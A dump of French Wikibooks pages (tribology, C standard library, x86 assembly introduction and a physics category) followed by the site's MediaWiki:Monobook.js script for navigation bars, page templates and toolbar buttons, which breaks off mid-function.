|- | [[Image:Resistances passives.png|175px|]] |- align=center | '''<small>Etude des actions de contact</small>''' |} | {| style="border:1px solid lightblue" cellpadding="3" cellspacing="3" align="center" | width=500px align=center bgcolor=#CCDDFF | Nous vous proposons une visite guidée : celle des divers aspects de la tribologie, la science et la technologie du frottement. Ils sont sûrement plus nombreux, plus variés et plus inattendus que tout ce que vous aviez imaginé jusqu'ici ! Chacun peut feuilleter ce Wikilivre en simple curieux, mais nous pensons qu'il peut rendre de grands services aux étudiants en physique ou en construction mécanique, à leurs enseignants, aux techniciens et aux ingénieurs qui, peut-être, y trouveront des pistes menant à la solution de leur problème. Aidez-nous à le mettre à jour et à le compléter, en particulier pour ce qui concerne les produits et procédés industriels, car c'est ainsi qu'il pourra pleinement atteindre son but : être utile ! |- |} <big>'''[[Tribologie - Généralités|Commencer la lecture]]'''</big> Cet ouvrage est divisé en plusieurs chapitres que vous pourrez consulter en suivant les liens introduits dans le texte et signalés par la mention <br />« ''Article détaillé'' ». | {| style="border:1px solid white" cellpadding="3" cellspacing="3" align="left" |- align=center | [[Image:Arbre a cames02.jpg|175px|]] |- align=center | '''<small>Usure anormale d'un arbre à cames</small>''' |- align=center | [[Image:Virole d'acier inoxydable usée par érosion01.jpg|175px|]] |- align=center | '''<small>Érosion sur acier inoxydable</small>''' |- align=center | [[Image:Corrosion de contact sur un roulement de locomotive.jpg|175px|]] |- align=center | '''<small>Corrosion de contact après rupture</small>''' |} |} Wikilivres:Pourquoi ouvrir un de ces livres ? 1219 25088 2005-11-06T17:24:10Z 81.220.230.7 /* Création communautaire */ ==Parce qu'ils sont libres== Les Wikilivres disponibles sur ce site sont placés sous une licence libre, ce qui signifie qu'ils resteront libres pour toujours. Personne ne peut vous empêcher d'utiliser, de modifier, ou de distribuer ces livres. De plus, toute modification ou oeuvre dérivée d'un de ces livres est, et restera, de la même manière, libre d'utilisation, de modification et de distribution. ==Parce qu'ils sont gratuits== Allez-vous vraiment dépenser 10 euros ou plus pour un livre lorsque les informations que vous recherchez sont disponibles gratuitement ? Ces textes appartiennent à la communauté et au monde, pas à une grande maison d'édition, dont les prix dépassent souvent largement les possibilités d'étudiants, ou de personnes désireuses d'accéder à la connaissance. ==Accès global à la connaissance== Même si l'accès au Web est encore un facteur de discrimination, tout ceux qui en disposent auront accès ici, et ailleurs, à des ressources éducatives de qualité, et ce quel que soit leur statut financier, ou social, leur nationalité, et la proximité ou non d'établissements éducatifs. Tout le monde doit avoir accès à la connaissance. ==Création communautaire== Les wikilivres sont créés par des personnes qui ont des compétences dans le sujet dont ils traitent, et sont constamment améliorés par des personnes qui ont elles aussi des compétences dans ce sujet précis. Il n'y a pas un seul auteur par wikilivre, mais une formidable communauté d'auteurs apportant chacun ses qualités et compétences aux ouvrages présents ici. ==Changements à la minute== Vous n'aurez pas à attendre plusieurs mois ou plusieurs années la prochaine édition qui incorporera les dernières évolutions de la connaissance. Au moment même où une avancée se concrétise, le texte peut être mis à jour. Programmation C Bibliothèque standard 1221 12863 2004-12-19T03:24:03Z Tpierron 79 {{Programmation C}} La bibliothèque standard du langage C n'est pas ce qui se fait de mieux en la matière. Contrairement au C++, les fonctions proposées sont relativement pauvres, surtout en ce qui concerne la gestion des chaines de caractères. Comparé à un langage tout en un, comme Python, Ruby, C# ou Java, les fonctions qui vont suivre, peuvent paraitre archaïques, bien qu'issues d'une époque où l'optimisation primait grandement sur la simplicité d'utilisation. Espérer concevoir une application d'envergure avec ces seules fonctions nécessite une extrême rigueur. Il est plus que conseillé de se tourner vers des bibliothèques de plus haut niveaux, afin d'alléger votre labeur. Il en existe heureusement beaucoup, mais bien évidemment rien de standard et dont l'énumération exhaustive est hors de la portée de cet ouvrage. Qui plus est, un point particulièrement sensible en C est la gestion correcte, exhaustive et pertinente des erreurs. Il s'agit d'un point à ne pas sous-estimer : mélanger les cas exceptionnels (erreurs) qui seront exécutés dans 10% des cas, dans le code nominal qui le sera dans 90% des cas, donne une impression confuse et difficile à appréhender de la structure du programme. Hélas, non seulement le C n'offre aucun moyen pour gérer efficacement ce problème (pas de mécanisme d'exception), mais les codes d'erreurs sont au mieux non-standard (différent d'une fonction à l'autre), au pire '''très''' pénible à exploiter (variable <code>errno</code>). La structure de votre programme en sera forcément impactée, un des défis les plus difficiles à surmonter en C, sera de le garder lisible. Catégorie:Physique 1223 39570 2006-04-04T13:08:22Z Guillom 1275 ortho {{sisterlinks|Category:Physics}} '''Article principal''' : [[Physique]] [[Catégorie:Science]] [[de:Kategorie:Physik]] [[en:Category:Physics]] [[es:Categoría:Física]] [[it:Categoria:Fisica]] [[ja:Category:物理学]] [[nl:Categorie:Natuurkunde]] [[pl:Kategoria:Fizyka]] [[pt:Categoria:Física]] Programmation Assembleur x86 Introduction 1225 27987 2005-12-30T20:36:33Z Greudin 1 == Les processeurs x86 == [[Image:Intel 80486DX2 top.jpg|200px|thumb|Boitier d'un microprocesseur Intel i486DX2-66 MHz]] [[Image:Intel 80486DX2 bottom.jpg|200px|thumb|Boitier retourné]] [[Image:80486dx2-large.jpg|right|thumb|300px|Microprocesseur Intel 80486DX2 (taille : 12&times;6.75 mm)]] Les processeurs de la famille x86 comptent approximativement deux décennies de domination sur l'univers de l'ordinateur personnel — on dit maintenant aussi ordinateur familial, sans doute le public concerné a-t-il évolué. Le Pentium 4{{TM}}, par exemple, est un x86. En réalité, un x86 est un processeur compatible avec son plus lointain ancêtre : le 8086 créé par Intel{{TM}} en 1978. Il va de soi que la compatibilité n'est assurée que dans un sens. Autant un programme écrit en assembleur pour fonctionner sur un 8086 a toutes les chances de fonctionner sur un de ses descendants du 21ème siècle, autant l'inverse est très peu probable, à moins que son programmeur soit un grand nostalgique et ait par hasard retrouvé sous un meuble une disquette portant un assembleur de l'époque comme MASM. La famille des x86 est divisée en plusieurs générations. Le 8086 est un processeur 16-bits muni d'un bus d'adressage 20-bits. Le 8088, construit à peu près en même temps que le 8086, est un processeur moins cher, qui n'a qu'un bus de données 8-bits, bien que son fonctionnement interne soit totalement identique à celui du 8086. Le 8086, bien que très compétitif à sa création, commence à montrer ses lacunes vers le milieu des années 80. Ses deux principales lacunes sont : sa limitation à 1 Mo de mémoire système ( les 20 bits d'adressage ), et l'absence totale des mécanismes de protection de la mémoire, ce qui limite le développement de systèmes d'exploitation multi-tâches — ceux-ci se sont en réalité développés bien plus tard en ce qui concerne les PC : Linux apparaît en 1991. Le 80286 a donc remplacé le 8086, et son apparition marque le début d'une aire plus complexe, puisqu'à partir d'ici, les x86 ont plusieurs modes d'exécution. Tous les successeurs du 80286 comportent un ''mode réel'' ou ''mode d'adressage réel''. Lorsqu'un x86 fonctionne en mode réel, il se comporte comme un 8086, c'est-à-dire que l'accès à la mémoire système se fait de manière très rudimentaire : un registre de segment contient l'adresse physique du segment mémoire qui nous intéresse, et un registre pointeur contient une adresse à l'intérieur du segment. De plus, son jeu d'instructions est celui du 8086. Le 80286 introduit le ''mode protégé''. Un registre de segment ne contient alors plus une adresse physique marquant le début du segment, mais un sélecteur de segment. Un sélecteur de segment est constitué d'un numéro de descripteur et d'un certain nombre d'indicateurs. Le processeur va alors rechercher le descripteur de segment correspondant dans une table, et celui-ci indique, entre autres, l'adresse physique (24 bits cette fois) de début du segment. Le 80286 contient aussi les rudiments du système d'adressage actuel par plages de mémoire virtuelle. Le 80386 est le premier processeur x86 32-bits. Il offre de plus un système de mémoire virtuelle complet. Le 80486 introduit de nouvelles instructions de calculs sur virgules flottantes. L'époque qui suit est l'époque des Pentium{{TM}}, des Celeron{{TM}}, des Athlon{{TM}}, etc. qui se différencient de leurs prédécesseurs par différentes optimisations, en particulier, le traitement en simultané de deux instructions consécutives, ainsi que différentes nouvelles instructions dont les extensions MMX, SSE et 3Dnow. L'Opteron et l'Athlon 64 d'AMD, ainsi que le Xeon 64 bits d'Intel utilisent un jeu d'instructions 64 bits. == Marques déposées == * Les noms des marques déposées par leurs détenteurs respectifs. == Liens web == http://developer.intel.com/design/pentium4/manuals/253665.htm - Les manuels en anglais des Code Op MediaWiki:1movedto2 1234 sysop 21119 2005-09-14T09:46:59Z Marc 66 liens [[$1]] déplacé vers [[$2]] MediaWiki:Monobook.js 1235 sysop 46013 2006-06-27T09:30:58Z Greudin 1 importé depuis w: (essai correction bug barre d'outils) /* <pre> <nowiki> */ //============================================================ // // Info-bulle et touches de raccourci // //============================================================ ta = new Object(); ta['pt-userpage'] = new Array('.', 'Ma page utilisateur'); ta['pt-anonuserpage'] = new Array('.', 'La page utilisateur pour l\'adresse IP que vous utilisez'); ta['pt-mytalk'] = new Array('N', 'Ma page de discussion'); ta['pt-anontalk'] = new Array('N', 'La page de discussion pour cette adresse'); ta['pt-preferences'] = new Array('', 'Mes préférences'); ta['pt-watchlist'] = new Array('L', 'La liste des pages que vous suivez'); ta['pt-mycontris'] = new Array('Y', 'La liste de mes contributions'); ta['ca-talk'] = new Array('T', 'Discussion pour cette page'); ta['ca-edit'] = new Array('E', 'Vous pouvez modifier cette page. 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} } } /** * Ajouter une nouvelle fonction a excuter au chargement de la page. */ function addLoadEvent(func) { if (window.addEventListener) window.addEventListener("load", func, false); else if (window.attachEvent) window.attachEvent("onload", func); } //============================================================ // // Boites deroulantes // //============================================================ // BEGIN Dynamic Navigation Bars (experimantal) // set up the words in your language var NavigationBarHide = '[ Enrouler ]'; var NavigationBarShow = '[ Dérouler ]'; // set up max count of Navigation Bars on page, // if there are more, all will be hidden // NavigationBarShowDefault = 0; // all bars will be hidden // NavigationBarShowDefault = 1; // on pages with more than 1 bar all bars will be hidden var NavigationBarShowDefault = 0; // shows and hides content and picture (if available) of navigation bars // Parameters: // indexNavigationBar: the index of navigation bar to be toggled function toggleNavigationBar(indexNavigationBar) { var NavToggle = document.getElementById("NavToggle" + indexNavigationBar); var NavFrame = document.getElementById("NavFrame" + indexNavigationBar); if (!NavFrame || !NavToggle) { return false; } // if shown now if (NavToggle.firstChild.data == NavigationBarHide) { for ( var NavChild = NavFrame.firstChild; NavChild != null; NavChild = NavChild.nextSibling ) { if (NavChild.className == 'NavPic') { NavChild.style.display = 'none'; } if (NavChild.className == 'NavContent') { NavChild.style.display = 'none'; } } NavToggle.firstChild.data = NavigationBarShow; // if hidden now } else if (NavToggle.firstChild.data == NavigationBarShow) { for ( var NavChild = NavFrame.firstChild; NavChild != null; NavChild = NavChild.nextSibling ) { if (NavChild.className == 'NavPic') { NavChild.style.display = 'block'; } if (NavChild.className == 'NavContent') { NavChild.style.display = 'block'; } } NavToggle.firstChild.data = NavigationBarHide; } } // adds show/hide-button to navigation bars function createNavigationBarToggleButton() { var indexNavigationBar = 0; // iterate over all < div >-elements for( var i=0; NavFrame = document.getElementsByTagName("div")[i]; i++ ) { // if found a navigation bar if (NavFrame.className == "NavFrame") { indexNavigationBar++; var NavToggle = document.createElement("a"); NavToggle.className = 'NavToggle'; NavToggle.setAttribute('id', 'NavToggle' + indexNavigationBar); NavToggle.setAttribute('href', 'javascript:toggleNavigationBar(' + indexNavigationBar + ');'); var NavToggleText = document.createTextNode(NavigationBarHide); NavToggle.appendChild(NavToggleText); // Find the NavHead and attach the toggle link (Must be this complicated because Moz's firstChild handling is borked) for( var j=0; j < NavFrame.childNodes.length; j++ ) { if (NavFrame.childNodes[j].className == "NavHead") { NavFrame.childNodes[j].appendChild(NavToggle); } } NavFrame.setAttribute('id', 'NavFrame' + indexNavigationBar); } } // if more Navigation Bars found than Default: hide all if (NavigationBarShowDefault < indexNavigationBar) { for( var i=1; i<=indexNavigationBar; i++ ) { toggleNavigationBar(i); } } } addLoadEvent(createNavigationBarToggleButton); // END Dynamic Navigation Bars //============================================================ // // Fonctions de remplissage automatique // //============================================================ function InitPaS(page_name) { var c1 = "<!-- Sauvegarder la page pour l'initialiser puis suivre les instructions -->"; var c2 = "<!-- N'oubliez pas d'ajouter le lien vers cette page dans la page principale des Pages à supprimer -->"; var tpl = '{{subst:' + 'Initialiser PàS|' + page_name + '|~~~~|jour={{subst:CURRENTDAY}}|mois={{subst:CURRENTMONTH}}}}'; return c1 + '\n' + tpl + '\n' + c2; } function InitPaV(page_name) { var c1 = "<!-- Sauvegarder la page pour l'initialiser puis suivre les instructions -->"; var c2 = "<!-- N'oubliez pas d'ajouter le lien vers cette page dans la page principale des Pages à vérifier -->"; var tpl = '{{subst:' + 'Initialiser PàV|' + page_name + '|~~~~}}'; return c1 + '\n' + tpl + '\n' + c2; } function InitLANN(page_name) { var c1 = "<!-- Sauvegarder la page pour l'initialiser puis suivre les instructions -->"; var c2 = "<!-- N'oubliez pas d'ajouter le lien vers cette page dans la page principale des articles non neutres -->"; var tpl = '{{subst:' + 'Initialiser LANN|' + page_name + '|~~~~}}'; return c1 + '\n' + tpl + '\n' + c2; } function InitIaS(page_name) { var c1 = "<!-- Sauvegarder la page pour l'initialiser puis suivre les instructions -->"; var c2 = "<!-- N'oubliez pas d'ajouter le lien vers cette page dans la page principale des Images à supprimer -->"; var tpl = '{{subst:' + 'Initialiser IàS|' + page_name + '|~~~~|jour={{subst:CURRENTDAY}}|mois={{subst:CURRENTMONTH}}}}'; return c1 + '\n' + tpl + '\n' + c2; } function InitPAdQ(page_name) { var c1 = "<!--\n À la création de la page, suivez les consignes ci-dessous pour proposer l'article.\n\n ATTENTION : Veuillez ne rien effacer !\n-->"; var tpl = '{{subst:' + 'Initialiser PAdQ|' + page_name + '|~~~~|jour={{subst:CURRENTDAY}}|mois={{subst:CURRENTMONTH}}}}'; var c2 = "| 1. Indiquez sur la ligne ci-dessous la raison pour laquelle vous proposez cet article. Vous n'avez pas besoin de signer/dater, ni de voter par la suite : votre proposition tient lieu de vote 'Pour'. |"; var tpl2 = "Je propose cet article car... (votre motivation)"; var c3 = "| 2. Sauvegardez cette page et créez un lien vers elle dans Wikipédia:Proposition articles de qualité."; var c4 = "Pour cela, choisissez une thématique dans la page, modifiez-la et ajoutez un lien sous la forme :"; var c5 = "** [[/" + page_name + "]] proposé le ~~~~~ "; var c6 = "Vous devez créer cette référence dans la section 'Phase I' de la thématique choisie (suivez les autres exemples)."; return c1 + '\n\n' + tpl + '\n' + c2 + '\n' + tpl2 + '\n\n' + c3 + '\n\n' + c4 + '\n' + c5 + '\n' + c6 + '}}\n'; } function InitIaA(page_name) { var c1 = "<!-- Sauvegarder la page pour l'initialiser puis suivre les instructions -->"; return c1 + '\n{{subst:Amélioration image}}' } function InitPCP(page_name) { var c1 = "<!-- Sauvegarder la page pour l'initialiser puis suivre les instructions -->"; var c2 = "<!-- N'oubliez pas d'ajouter le lien vers cette page dans la page principale des articles soupçonnées de violation de copyright -->"; var tpl = '{{subst:' + 'Initialiser PCP|' + page_name + '|~~~~}}'; return c1 + '\n' + tpl + '\n' + c2; } function InitArbReq(page_name) { var c1 = "<" + "!-- Remplissez les champs (???) puis sauvegardez --" + ">\n"; var c2 = "[[Catégorie:Arbitrage en cours]]\n{" + "{Page d'arbitrage}}\n\nArbitre coordinateur :\n\n"; var c3 = "Arbitre(s) ne participant pas à cet arbitrage :\n\n"; var c4 = "== Description du conflit ==\n\n'''Demande déposée par''' : [[Utilisateur:X|X]] le ??? à ???\n\n"; var c5 = "''Parties concernées par le conflit'' : ??? et [[Utilisateur:???|]] (et [[Utilisateur:???|]]).\n\n"; var c6 = "''Nature du conflit'' : ???\n\n"; var c7 = "''Recevabilité'' :\n\n''Décision'' :\n\n"; var c8 = "== Arguments de ??? ==\n{" + "{CAr limite des arguments}}\n\n"; var c9 = c8; var c10 = "== Recevabilité ==\n\n== Mesures conservatoires ==\n<" + "!-- Mesures telles que protection de page, interdiction d'édition ou blocage, décidée par le coordinateur, avec justification. Les autres arbitres y réagissent ici. --" + ">\n\n== Discussion sur le fond ==\n\n=== Commentaires des arbitres ===\n\n"; var c11 = "=== Propositions ===\n\n==== Proposition 1 ====\n\n<u>Proposition :</u>\n\n<u>Vote :</u>"; return c1 + c2 + c3 + c4 + c5 + c6 + c7 + c8 + c9 + c10 + c11; } var init_if_empty = new Array( new Array('Wikip%C3%A9dia:Pages_%C3%A0_supprimer/', InitPaS), new Array('Wikip%C3%A9dia:Pages_%C3%A0_v%C3%A9rifier/', InitPaV), new Array('Wikip%C3%A9dia:Liste_des_articles_non_neutres/', InitLANN), new Array('Wikip%C3%A9dia:Images_%C3%A0_supprimer/', InitIaS), new Array('Wikip%C3%A9dia:Proposition_articles_de_qualit%C3%A9/', InitPAdQ), new Array('Wikip%C3%A9dia:Pages_soup%C3%A7onn%C3%A9es_de_violation_de_copyright/', InitPCP), new Array('Wikip%C3%A9dia:Comit%C3%A9_d%27arbitrage/Arbitrage/', InitArbReq) ); /** * Remplit la zone d'édition si elle est vide avec le texte retourné par * un pointeur de fonction sélectionné par le nom de la page. */ function InitPage() { // TODO, il faut tester l'existence de l'edit box et la longueur // du texte en dehors de la boucle ugly_url = 'http://fr.wikipedia.org/w/index.php?title='; for (var i = 0; i < init_if_empty.length; ++i) { var page_name = document.URL; var page_match = init_if_empty[i][0]; var index = page_name.indexOf(ugly_url + page_match); if (index != -1) { var text_area = document.editform.wpTextbox1; if (text_area.value.length == 0) { page_name = page_name.slice((ugly_url + page_match).length); page_name = page_name.split('&')[0]; page_name = decodeURI(page_name); page_name = page_name.replace(/_/g, ' ') text_area.value = init_if_empty[i][1](page_name); break; } } } } addLoadEvent(InitPage); //============================================================ // // Caractères spéciaux // //============================================================ /** * Ajoutez le menu pour choisir des sous-ensembles de caractères spéciaux * @note L'ordre de cette liste doit correspondre a celui de MediaWiki:Edittools ! */ function addCharSubsetMenu() { var specialchars = document.getElementById('specialchars'); if (specialchars) { var menu = "<select style=\"display:inline\" onChange=\"chooseCharSubset(selectedIndex)\">"; menu += "<option>Wiki</option>"; menu += "<option>Mathématiques</option>"; menu += "<option>API</option>"; menu += "<option>Latin/Romain</option>"; menu += "<option>Grec</option>"; menu += "<option>Cyrillique</option>"; menu += "<option>AHD</option>"; menu += "<option>Allemand</option>"; menu += "<option>Arabe</option>"; menu += "<option>Catalan</option>"; menu += "<option>Croate</option>"; menu += "<option>Espagnol</option>"; menu += "<option>Espéranto</option>"; menu += "<option>Estonien</option>"; menu += "<option>Gallois</option>"; menu += "<option>Hawaien</option>"; menu += "<option>Hébreu</option>"; menu += "<option>Hiéroglyphe</option>"; menu += "<option>Hollandais</option>"; menu += "<option>Hongrois</option>"; menu += "<option>Indo-européen</option>"; menu += "<option>Irlandais</option>"; menu += "<option>Islandais</option>"; menu += "<option>Italien</option>"; menu += "<option>Letton</option>"; menu += "<option>Lituanien</option>"; menu += "<option>Maltais</option>"; menu += "<option>Navajo & Apache</option>"; menu += "<option>Pinyin</option>"; menu += "<option>Polonais</option>"; menu += "<option>Portugais</option>"; menu += "<option>Rōmaji</option>"; menu += "<option>Roumain</option>"; menu += "<option>Scandinave</option>"; menu += "<option>Serbe</option>"; menu += "<option>Tchèque</option>"; menu += "<option>Turc</option>"; menu += "<option>Vieil anglais</option>"; menu += "<option>Vietnamien</option>"; menu += "<option>Yiddish</option>"; menu += "</select>"; specialchars.innerHTML = menu + specialchars.innerHTML; /* default subset - try to use a cookie some day */ chooseCharSubset(0); } } /* select subsection of special characters */ function chooseCharSubset(s) { var l = document.getElementById('specialchars').getElementsByTagName('p'); for (var i = 0; i < l.length ; i++) { l[i].style.display = i == s ? 'inline' : 'none'; l[i].style.visibility = i == s ? 'visible' : 'hidden'; } } addLoadEvent(addCharSubsetMenu); //============================================================ // // Choix de l'affichage des références // //============================================================ /** * Choix du mode d'affichage des références. * @note L'ordre de cette liste doit correspondre a celui de Modèle:Édition ! */ function addBibSubsetMenu() { var specialBib = document.getElementById('specialBib'); if (specialBib) { specialBib.style.display = 'block'; var menu = "<select style=\"display:inline;\" onChange=\"chooseBibSubset(selectedIndex)\">"; menu += "<option>Liste</option>"; menu += "<option>WikiNorme</option>"; menu += "<option>BibTeX</option>"; menu += "<option>ISBD</option>"; menu += "<option>ISO690</option>"; menu += "</select>"; specialBib.innerHTML = specialBib.innerHTML + menu; } /* default subset - try to use a cookie some day */ chooseBibSubset(0); } /* select subsection of special characters */ function chooseBibSubset(s) { var l = document.getElementsByTagName('div'); for (var i = 0; i < l.length ; i++) { if(l[i].className == 'BibList') l[i].style.display = s == 0 ? 'block' : 'none'; else if(l[i].className == 'WikiNorme') l[i].style.display = s == 1 ? 'block' : 'none'; else if(l[i].className == 'BibTeX') l[i].style.display = s == 2 ? 'block' : 'none'; else if(l[i].className == 'ISBD') l[i].style.display = s == 3 ? 'block' : 'none'; else if(l[i].className == 'ISO690') l[i].style.display = s == 4 ? 'block' : 'none'; } } addLoadEvent(addBibSubsetMenu); //============================================================ // // Barre d'outil // //============================================================ //============================================================ // Générateur de tableaux //============================================================ /** * * English: Generate an array using Mediawiki syntax * * @author: fr:user:dake * @version: 0.1 */ function generateTableau(nbCol, nbRow, border, styleHeader, styleLine) { var code = "\n"; if (styleHeader==1) { code += '{{entête tableau charte}}\n'; } else { code += '{| border="' + border + '"\n'; code += '|+ Titre du tableau\n'; } for (var i=0;i<nbCol;i++) code += '! en-tête ' + i + '\n' for (var j=0;j<nbRow;j++) { if ((j+1)%2==0 && styleLine==1) { code += '|-{'+'{ligne grise}'+'}\n' } else { code += '|-----\n' } for (var i=0;i<nbCol;i++) code += '| élément\n'; } code += '|}'; insertTags('','', code); } /** * * English: Open a popup with parameters to generate an array. * The number of rows/columns can be modified. Some additional * parameters are related to templates available on :fr * * @author: fr:user:dake * @version: 0.1 */ function popupTableau() { var popup = window.open('','name','height=400,width=500'); javaCode = '<script type="text\/javascript">function insertCode(){'; javaCode += 'var row = parseInt(document.paramForm.inputRow.value); ' javaCode += 'var col = parseInt(document.paramForm.inputCol.value); ' javaCode += 'var bord = parseInt(document.paramForm.inputBorder.value); ' javaCode += 'var styleHeader = document.paramForm.inputHeader.checked; ' javaCode += 'var styleLine = document.paramForm.inputLine.checked; ' javaCode += 'window.opener.generateTableau(col,row,bord,styleHeader,styleLine); ' javaCode += '}<\/script>'; popup.document.write('<html><head><title>Paramètres du tableau</title>'); popup.document.write('<script type="text\/javascript" src="\/skins-1.5\/common\/wikibits.js"><!-- wikibits js --><\/script>'); popup.document.write('<style type="text\/css" media="screen,projection">/*<![CDATA[*/ @import "\/skins-1.5\/monobook\/main.css?5"; /*]]>*/<\/style>'); popup.document.write(javaCode); popup.document.write('</head><body>'); popup.document.write('<p>Veuillez entrer les paramètres du tableau : </p>'); popup.document.write('<form name="paramForm">'); popup.document.write('Nombre de lignes : <input type="text" name="inputRow" value="3" ><p>'); popup.document.write('Nombre de colonnes : <input type="text" name="inputCol" value="3" ><p>'); popup.document.write('Largeur de la bordure : <input type="text" name="inputBorder" value="1" ><p>'); popup.document.write('En-tête en gris (style « charte graphique ») : <input type="checkbox" name="inputHeader" checked="1" ><p>'); popup.document.write('Lignes grises alternées (style « charte graphique ») : <input type="checkbox" name="inputLine" checked="1" ><p>'); popup.document.write('</form">'); popup.document.write('<p><a href="javascript:insertCode()"> Insérer le code dans la fenêtre d\'édition</a></p>'); popup.document.write('<p><a href="javascript:self.close()"> Fermer</a></p>'); popup.document.write('</body></html>'); popup.document.close(); } //============================================================ // Insertion de nouveaux boutons dans la barre d'outil //============================================================ /** * Ajoute quelques boutons sur la barre d'outil * Inspiré de mon code précédent et des icônes sur he: * @author: fr:user:dake * @version: 0.1 */ /*function ImprovedToolbar() { tooly = document.getElementById('toolbar'); if (tooly == null) return; StrikeTextButton = "<a href=\"javascript:insertTags('<s>','</s>','');\"><img src=\"http://upload.wikimedia.org/wikipedia/fr/3/30/Btn_toolbar_rayer.png\" alt=\"Rayer\" title=\"Rayer\"></a>"; EnumTextButton = "<a href=\"javascript:insertTags('\\n# élément 1\\n# élément 2\\n# élément 3','','');\"><img src=\"http://upload.wikimedia.org/wikipedia/fr/8/88/Btn_toolbar_enum.png\" alt=\"Énumération\" title=\"Énumération\"></a>"; ListTextButton = "<a href=\"javascript:insertTags('\\n* élément A\\n* élément B\\n* élément C','','');\"><img src=\"http://upload.wikimedia.org/wikipedia/fr/1/11/Btn_toolbar_liste.png\" alt=\"Liste\" title=\"Liste\"></a>"; GalleryButton = "<a href=\"javascript:insertTags('\\n<gallery>\\nImage:Vista-openbsd.png|Légende\\nImage:AMule.png|Légende\\nImage:Cyberduck icon.png|Légende\\n</gallery>','','');\"><img src=\"http://upload.wikimedia.org/wikipedia/fr/9/9e/Btn_toolbar_gallery.png\" alt=\"Galerie d'images\" title=\"Galerie d'images\"></a>"; CommentTextButton = "<a href=\"javascript:insertTags('<!--','-->','');\"><img src=\"http://upload.wikimedia.org/wikipedia/fr/3/37/Btn_toolbar_commentaire.png\" alt=\"Commentaire\" title=\"Commentaire\"></a>"; RedirectButton = "<a href=\"javascript:insertTags('#REDIRECT [[',']]','nom de la destination');\"><img src=\"http://upload.wikimedia.org/wikipedia/en/c/c8/Button_redirect.png\" alt=\"Redirection\" title=\"Redirection\"></a>"; ArrayButton = "<a href=\"javascript:popupTableau();\"><img src=\"http://upload.wikimedia.org/wikipedia/fr/0/04/Button_array.png\" alt=\"Tableau\" title=\"Tableau\"></a>"; tooly.innerHTML = tooly.innerHTML + StrikeTextButton + EnumTextButton + ListTextButton + CommentTextButton + GalleryButton + RedirectButton + ArrayButton ; }*/ //addLoadEvent(ImprovedToolbar); //Remplit la variable mwCustomEditButtons (voir /skins-1.5/commons/wikibits.js) pour ajouter des boutons à la barre d'outils function addCustomButton(imageFile, speedTip, tagOpen, tagClose, sampleText) { mwCustomEditButtons[mwCustomEditButtons.length] = {"imageFile": imageFile, "speedTip": speedTip, "tagOpen": tagOpen, "tagClose": tagClose, "sampleText": sampleText}; } addCustomButton('http://upload.wikimedia.org/wikipedia/fr/3/30/Btn_toolbar_rayer.png','Rayer',"<s>","</s>",''); addCustomButton('http://upload.wikimedia.org/wikipedia/fr/8/88/Btn_toolbar_enum.png','Énumération',"\\n# élément 1\\n# élément 2\\n# élément 3","",''); addCustomButton('http://upload.wikimedia.org/wikipedia/fr/1/11/Btn_toolbar_liste.png','Liste',"\\n* élément A\\n* élément B\\n* élément C","",''); addCustomButton('http://upload.wikimedia.org/wikipedia/fr/9/9e/Btn_toolbar_gallery.png','Galerie d\'images',"\\n<gallery>\\nImage:M63.jpg|[[M63]]\\nImage:Mona Lisa.jpg|[[La Joconde]]\\nImage:Truite arc-en-ciel.jpg|Une [[truite]]\\n</gallery>","",''); addCustomButton('http://upload.wikimedia.org/wikipedia/fr/3/37/Btn_toolbar_commentaire.png','Commentaire',"<!--","-->",''); addCustomButton('http://upload.wikimedia.org/wikipedia/en/c/c8/Button_redirect.png','Redirection',"#REDIRECT [[","]]",'nom de la destination'); //Ressemble à la fonction de /skins-1.5/commons/wikibits.js pour insérer un autre lien que insertTags function marque_tab() { var toolbar = document.getElementById('toolbar'); if (!toolbar) return false; var textbox = document.getElementById('wpTextbox1'); if (!textbox) return false; if (!document.selection && textbox.selectionStart == null) return false; var image = document.createElement("img"); image.width = 23; image.height = 22; image.src = 'http://upload.wikimedia.org/wikipedia/fr/0/04/Button_array.png'; image.border = 0; image.alt = 'Tableau'; image.title = 'Tableau'; image.style.cursor = "pointer"; image.onclick = function() { popupTableau(); return false; } toolbar.appendChild(image); } addLoadEvent(marque_tab); //============================================================ // // Divers // //============================================================ /** * Transformer les pages du Bistro en page de discussion */ function DiscussionBistro() { if( (document.title.search("Wikipédia:Le Bistro") != -1) || (document.title.search("Wikipédia:Bulletin des administrateurs") != -1)) document.body.className = "ns-1"; } addLoadEvent(DiscussionBistro); /** * Transformer certaines pages en page de discussion avec le modèle {{page de discussion}} */ function TransformeEnDiscussion() { var transformeEnPDD = document.getElementById("transformeEnPageDeDiscussion"); if(transformeEnPDD) document.body.className = "ns-1"; } addLoadEvent(TransformeEnDiscussion); /** * Ajout d'un style particulier aux liens interlangues vers des articles de qualités */ function LienAdQ() { var lang = document.getElementById("p-lang"); // fin language link list if(lang) { var span = document.getElementsByTagName("span"); for(i=0; i<span.length; i++) // iterate over all <span>-elements { // if found a AdQ span if(span[i].className == "AdQ") { var li = lang.getElementsByTagName("li"); for(j=0; j<li.length; j++) { if(li[j].className == "interwiki-" + span[i].id) { // if found a AdQ link li[j].style.padding = "0 0 0 16px"; li[j].style.backgroundImage = "url('http://upload.wikimedia.org/wikipedia/fr/3/36/Icone_etoile.png')"; li[j].style.backgroundRepeat = "no-repeat"; li[j].title = "Lien vers un article de qualité"; } } } } } } addLoadEvent(LienAdQ); /* * VraiTitre : Ajout du titre réel d'un article pour lequel MediaWiki n'affiche pas correctement */ function VraiTitre() { var balise = document.getElementById("vrai_titre"); if (!balise) return; vrai_titre = balise.childNodes[0].nodeValue; var titre = document.getElementsByTagName("H1")[0]; rectificatif = titre.appendChild(document.createElement("span")); rectificatif.setAttribute ("style","color:#AAAAAA; font-size:0.7em; font-style:italic; display:inline;"); rectificatif.appendChild(document.createTextNode(" ("+ vrai_titre +")")); } addLoadEvent(VraiTitre); /****************************************/ function mwInsertEditButton(parent, item) { var image = document.createElement("img"); image.width = 23; image.height = 22; image.src = item.imageFile; image.border = 0; image.style.cursor = "pointer"; var ref = document.createElement("a") ref.setAttribute("href", "javascript:insertTags(\"" + item.tagOpen + "\",\"" + item.tagClose + "\",\"" + item.sampleText + "\");") ref.setAttribute("title", item.speedTip); ref.appendChild(image); parent.appendChild(ref); } /************ * IconesDeTitre : fait en sorte que le modèle {{Icône de titre}} puisse être utilisé plusieurs fois */ function IconesDeTitre(){ var icones = document.getElementsByTagName ("div"); var icones2= new Array(); var j = 0; var i = 0; for (i = 0; i < icones.length ; i++) { if (icones[i].getAttribute("class") == "icone de titre"){ icones2[j++] = icones[i]; } } for (i=0 ; i < icones2.length ; i++) { 